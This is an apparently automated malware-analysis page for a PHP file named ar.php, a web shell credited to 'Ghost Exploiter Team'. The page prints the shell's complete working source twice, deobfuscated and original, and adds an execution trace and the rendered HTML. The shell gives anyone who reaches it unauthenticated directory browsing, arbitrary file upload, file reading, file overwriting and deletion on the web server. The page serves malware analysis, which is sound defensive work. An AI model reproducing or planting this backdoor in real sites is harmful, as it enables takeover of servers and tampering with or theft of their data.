PHP Malware Analysis

ar.php

md5: 4703204d7dc6602020dc28460f64c581

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs
  • https://fonts.googleapis.com/css2?family=Courgette&amp (HTML)
  • https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap (Deobfuscated, Original)


Deobfuscated PHP code

<!-- Hak Cipta Ghost Exploiter Team
Thanks All Member GhostExploiterTeam -->

<?php 
error_reporting(0);
?>
<!DOCTYPE html>
<html>
<head>
	<title>Shell Bypass 403 GE-C666C</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
	<center><h1>Ghost Exploiter Team Official</h1></center>
  <div class="dir">
	<?php 
if (isset($_GET['dir'])) {
    $dir = $_GET['dir'];
} else {
    $dir = getcwd();
}
$dir = str_replace("\\", "/", $dir);
$dirs = explode("/", $dir);
foreach ($dirs as $key => $value) {
    if ($value == "" && $key == 0) {
        echo "<a href=\"/\">/</a>";
        continue;
    }
    echo "<a href=\"?dir=";
    for ($i = 0; $i <= $key; $i++) {
        echo "{$dirs[$i]}";
        if ($key !== $i) {
            echo "/";
        }
    }
    echo '">' . $value . '</a>/';
}
if (isset($_POST['submit'])) {
    $namafile = $_FILES['upload']['name'];
    $tempatfile = $_FILES['upload']['tmp_name'];
    $tempat = $_GET['dir'];
    $error = $_FILES['upload']['error'];
    $ukuranfile = $_FILES['upload']['size'];
    move_uploaded_file($tempatfile, $dir . '/' . $namafile);
    echo "\r\n\t\t\t\t\t<script>alert('diupload!!!');</script>\r\n\t\t\t\t\t";
}
?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php 
$scan = scandir($dir);
foreach ($scan as $directory) {
    if (!is_dir($dir . '/' . $directory) || $directory == '.' || $directory == '..') {
        continue;
    }
    echo '
	<tr>
	<td><a href="?dir=' . $dir . '/' . $directory . '">' . $directory . '</a></td>
	<td>--</td>
	<td>NONE</td>
	</tr>
	';
}
foreach ($scan as $file) {
    if (!is_file($dir . '/' . $file)) {
        continue;
    }
    $jumlah = filesize($dir . '/' . $file) / 1024;
    $jumlah = round($jumlah, 3);
    if ($jumlah >= 1024) {
        $jumlah = round($jumlah / 1024, 2) . 'MB';
    } else {
        $jumlah .= 'KB';
    }
    echo '
	<tr>
	<td><a href="?dir=' . $dir . '&open=' . $dir . '/' . $file . '">' . $file . '</a></td>
	<td>' . $jumlah . '</td>
	<td><a href="?dir=' . $dir . '&delete=' . $dir . '/' . $file . '" class="button1">Hapus</a>
	<a href="?dir=' . $dir . '&ubah=' . $dir . '/' . $file . '" class="button1">Edit</a>
	</td>
	</tr>
	';
}
if (isset($_GET['open'])) {
    echo '
	<br />
	<style>
		table {
			display: none;
		}
	</style>
	<textarea>' . htmlspecialchars(file_get_contents($_GET['open'])) . '</textarea>
	';
}
if (isset($_GET['delete'])) {
    if (unlink($_GET['delete'])) {
        echo "<script>alert('dihapus');window.location='?dir=" . $dir . "';</script>";
    }
}
if (isset($_GET['ubah'])) {
    echo '

		<style>
			table {
				display: none;
			}
		</style>

		<a href="?dir=' . $dir . '" class="button1"><=Back</a>
		<form method="post" action="">
		<input type="hidden" name="object" value="' . $_GET['ubah'] . '">
		<textarea name="edit">' . htmlspecialchars(file_get_contents($_GET['ubah'])) . '</textarea>
		<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
		</form>

		';
}
if (isset($_POST['edit'])) {
    $data = fopen($_POST["object"], 'w');
    if (fwrite($data, $_POST['edit'])) {
        echo '
			<script>alert("Berhasil diedit!!!");window.location="?dir=' . $dir . '";</script>						
			';
    } else {
        echo "\r\n\t\t\t<script>alert('gagal');</script>\t\t\t\t\t\r\n\t\t\t";
    }
}
?>
</table>
</body>
</html>

Execution traces

data/traces/4703204d7dc6602020dc28460f64c581_trace-1676237900.0557.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:38:45.953552]
1	0	1	0.000143	393464
1	3	0	0.000305	416184	{main}	1		/var/www/html/uploads/ar.php	0	0
2	4	0	0.000322	416184	error_reporting	0		/var/www/html/uploads/ar.php	4	1	0
2	4	1	0.000337	416224
2	4	R			22527
2	5	0	0.000351	416184	getcwd	0		/var/www/html/uploads/ar.php	127	0
2	5	1	0.000365	416232
2	5	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/ar.php	127	$dir = '/var/www/html/uploads'
2	6	0	0.000392	416232	str_replace	0		/var/www/html/uploads/ar.php	130	3	'\\'	'/'	'/var/www/html/uploads'
2	6	1	0.000408	416328
2	6	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/ar.php	130	$dir = '/var/www/html/uploads'
2	7	0	0.000432	416232	explode	0		/var/www/html/uploads/ar.php	131	2	'/'	'/var/www/html/uploads'
2	7	1	0.000446	416808
2	7	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/ar.php	131	$dirs = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/ar.php	133	$key = 0
1		A						/var/www/html/uploads/ar.php	133	$key = 1
1		A						/var/www/html/uploads/ar.php	138	$i = 0
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	133	$key = 2
1		A						/var/www/html/uploads/ar.php	138	$i = 0
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	133	$key = 3
1		A						/var/www/html/uploads/ar.php	138	$i = 0
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	133	$key = 4
1		A						/var/www/html/uploads/ar.php	138	$i = 0
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
1		A						/var/www/html/uploads/ar.php	138	$i++
2	8	0	0.000669	416736	scandir	0		/var/www/html/uploads/ar.php	174	1	'/var/www/html/uploads'
2	8	1	0.000700	417352
2	8	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'ar.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/ar.php	174	$scan = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'ar.php', 4 => 'data', 5 => 'prepend.php']
2	9	0	0.000737	417368	is_dir	0		/var/www/html/uploads/ar.php	177	1	'/var/www/html/uploads/.'
2	9	1	0.000752	417432
2	9	R			TRUE
2	10	0	0.000766	417400	is_dir	0		/var/www/html/uploads/ar.php	177	1	'/var/www/html/uploads/..'
2	10	1	0.000779	417448
2	10	R			TRUE
2	11	0	0.000793	417408	is_dir	0		/var/www/html/uploads/ar.php	177	1	'/var/www/html/uploads/.htaccess'
2	11	1	0.000807	417448
2	11	R			FALSE
2	12	0	0.000820	417408	is_dir	0		/var/www/html/uploads/ar.php	177	1	'/var/www/html/uploads/ar.php'
2	12	1	0.000834	417448
2	12	R			FALSE
2	13	0	0.000846	417408	is_dir	0		/var/www/html/uploads/ar.php	177	1	'/var/www/html/uploads/data'
2	13	1	0.000860	417448
2	13	R			TRUE
2	14	0	0.000874	417416	is_dir	0		/var/www/html/uploads/ar.php	177	1	'/var/www/html/uploads/prepend.php'
2	14	1	0.000888	417464
2	14	R			FALSE
2	15	0	0.000902	417408	is_file	0		/var/www/html/uploads/ar.php	188	1	'/var/www/html/uploads/.'
2	15	1	0.000916	417432
2	15	R			FALSE
2	16	0	0.000929	417400	is_file	0		/var/www/html/uploads/ar.php	188	1	'/var/www/html/uploads/..'
2	16	1	0.000943	417448
2	16	R			FALSE
2	17	0	0.000955	417408	is_file	0		/var/www/html/uploads/ar.php	188	1	'/var/www/html/uploads/.htaccess'
2	17	1	0.000969	417448
2	17	R			TRUE
2	18	0	0.000982	417408	filesize	0		/var/www/html/uploads/ar.php	190	1	'/var/www/html/uploads/.htaccess'
2	18	1	0.000995	417448
2	18	R			64
1		A						/var/www/html/uploads/ar.php	190	$jumlah = 0.0625
2	19	0	0.001018	417352	round	0		/var/www/html/uploads/ar.php	191	2	0.0625	3
2	19	1	0.001032	417424
2	19	R			0.063
1		A						/var/www/html/uploads/ar.php	191	$jumlah = 0.063
1		A						/var/www/html/uploads/ar.php	195	$jumlah = '0.063KB'
2	20	0	0.001068	417440	is_file	0		/var/www/html/uploads/ar.php	188	1	'/var/www/html/uploads/ar.php'
2	20	1	0.001087	417480
2	20	R			TRUE
2	21	0	0.001100	417440	filesize	0		/var/www/html/uploads/ar.php	190	1	'/var/www/html/uploads/ar.php'
2	21	1	0.001113	417480
2	21	R			5651
1		A						/var/www/html/uploads/ar.php	190	$jumlah = 5.5185546875
2	22	0	0.001135	417352	round	0		/var/www/html/uploads/ar.php	191	2	5.5185546875	3
2	22	1	0.001148	417424
2	22	R			5.519
1		A						/var/www/html/uploads/ar.php	191	$jumlah = 5.519
1		A						/var/www/html/uploads/ar.php	195	$jumlah = '5.519KB'
2	23	0	0.001183	417440	is_file	0		/var/www/html/uploads/ar.php	188	1	'/var/www/html/uploads/data'
2	23	1	0.001197	417480
2	23	R			FALSE
2	24	0	0.001210	417448	is_file	0		/var/www/html/uploads/ar.php	188	1	'/var/www/html/uploads/prepend.php'
2	24	1	0.001224	417496
2	24	R			TRUE
2	25	0	0.001237	417456	filesize	0		/var/www/html/uploads/ar.php	190	1	'/var/www/html/uploads/prepend.php'
2	25	1	0.001250	417496
2	25	R			57
1		A						/var/www/html/uploads/ar.php	190	$jumlah = 0.0556640625
2	26	0	0.001272	417360	round	0		/var/www/html/uploads/ar.php	191	2	0.0556640625	3
2	26	1	0.001285	417432
2	26	R			0.056
1		A						/var/www/html/uploads/ar.php	191	$jumlah = 0.056
1		A						/var/www/html/uploads/ar.php	195	$jumlah = '0.056KB'
1	3	1	0.001325	417504
			0.001348	315664
TRACE END   [2023-02-12 19:38:45.954788]


Generated HTML code

<html><head>
	<title>Shell Bypass 403 GE-C666C</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&amp;family=Cuprum:ital@1&amp;family=Rowdies&amp;display=swap" rel="stylesheet"> 
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style></head>

<body>
	<center><h1>Ghost Exploiter Team Official</h1></center>
  <div class="dir">
	<a href="/">/</a><a href="?dir=/var">var</a>/<a href="?dir=/var/www">www</a>/<a href="?dir=/var/www/html">html</a>/
	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tbody><tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	
	<tr>
	<td><a href="?dir=/var/www/html&amp;open=/var/www/html/ar.php">ar.php</a></td>
	<td>5.519KB</td>
	<td><a href="?dir=/var/www/html&amp;delete=/var/www/html/ar.php" class="button1">Hapus</a>
	<a href="?dir=/var/www/html&amp;ubah=/var/www/html/ar.php" class="button1">Edit</a>
	</td>
	</tr>
	
	<tr>
	<td><a href="?dir=/var/www/html&amp;open=/var/www/html/beneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
	<td>0KB</td>
	<td><a href="?dir=/var/www/html&amp;delete=/var/www/html/beneri.se_malware_analysis" class="button1">Hapus</a>
	<a href="?dir=/var/www/html&amp;ubah=/var/www/html/beneri.se_malware_analysis" class="button1">Edit</a>
	</td>
	</tr>
	</tbody></table>

</body></html>

Original PHP code

<!-- Hak Cipta Ghost Exploiter Team
Thanks All Member GhostExploiterTeam -->

<?php error_reporting(0); ?>
<!DOCTYPE html>
<html>
<head>
	<title>Shell Bypass 403 GE-C666C</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
	<center><h1>Ghost Exploiter Team Official</h1></center>
  <div class="dir">
	<?php  
	if (isset($_GET['dir'])) {
			$dir = $_GET['dir'];
		} else {
			$dir = getcwd();
		}

		$dir = str_replace("\\", "/", $dir);
		$dirs = explode("/", $dir);

		foreach ($dirs as $key => $value) {
			if ($value == "" && $key == 0){
				echo '<a href="/">/</a>'; continue;
			} echo '<a href="?dir=';

			for ($i=0; $i <= $key ; $i++) { 
				echo "$dirs[$i]"; if ($key !== $i) echo "/";
			} echo '">'.$value.'</a>/';
	}
	if (isset($_POST['submit'])){

		$namafile = $_FILES['upload']['name'];
		$tempatfile = $_FILES['upload']['tmp_name'];
		$tempat = $_GET['dir'];
		$error = $_FILES['upload']['error'];
		$ukuranfile = $_FILES['upload']['size'];

		move_uploaded_file($tempatfile, $dir.'/'.$namafile);
				echo "
					<script>alert('diupload!!!');</script>
					";
						

	
	}
	?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php
	$scan = scandir($dir);

foreach ($scan as $directory) {
	if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;

	echo '
	<tr>
	<td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
	<td>--</td>
	<td>NONE</td>
	</tr>
	';
	} 
foreach ($scan as $file) {
	if (!is_file($dir.'/'.$file)) continue;

	$jumlah = filesize($dir.'/'.$file)/1024;
	$jumlah = round($jumlah, 3);
	if ($jumlah >= 1024) {
		$jumlah = round($jumlah/1024, 2).'MB';
	} else {
		$jumlah = $jumlah .'KB';
	}

	echo '
	<tr>
	<td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
	<td>'.$jumlah.'</td>
	<td><a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
	<a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
	</td>
	</tr>
	';
}
if (isset($_GET['open'])) {
	echo '
	<br />
	<style>
		table {
			display: none;
		}
	</style>
	<textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
	';
}

if (isset($_GET['delete'])) {
	if (unlink($_GET['delete'])) {
		echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
	}
}
if (isset($_GET['ubah'])) {
	echo '

		<style>
			table {
				display: none;
			}
		</style>

		<a href="?dir='.$dir.'" class="button1"><=Back</a>
		<form method="post" action="">
		<input type="hidden" name="object" value="'.$_GET['ubah'].'">
		<textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
		<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
		</form>

		';
}
if (isset($_POST['edit'])) {
	$data = fopen($_POST["object"], 'w');
	if (fwrite($data, $_POST['edit'])) {

		echo 
			'
			<script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>						
			';

	} else {
		echo "
			<script>alert('gagal');</script>					
			";
	}
}
?>
</table>
</body>
</html>